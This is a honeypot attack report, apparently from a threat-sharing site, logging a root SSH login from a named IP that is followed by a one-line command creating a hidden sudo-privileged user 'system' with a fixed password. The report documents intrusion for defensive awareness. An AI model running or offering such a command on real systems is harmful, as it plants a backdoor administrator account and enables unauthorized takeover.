Attack Report for Observation

Header

Time

2023/11/12, 02:19:25 (GMT)

Transaction ID

MOTXI4ADKV58IHUG

Service

ssh

Location

SG (Singapore)

Attacker

202.70.133.74

Classification

Security execution

Harm Potential

High

Description

Command execution for security vulnerability

Content

202.70.133.74 client username 'root' and password '0' entered
202.70.133.74 client command : 'apt update && apt install sudo curl -y && sudo useradd -m -p $(openssl passwd -1 khsSCDAc) system && sudo usermod -aG sudo system && sudo usermod -aG sudo system'

All observations are coming from honeypot central database.

Please share your wishes, opinions and suggestions with us:

If you like, you can support
with your donations to us..

Donate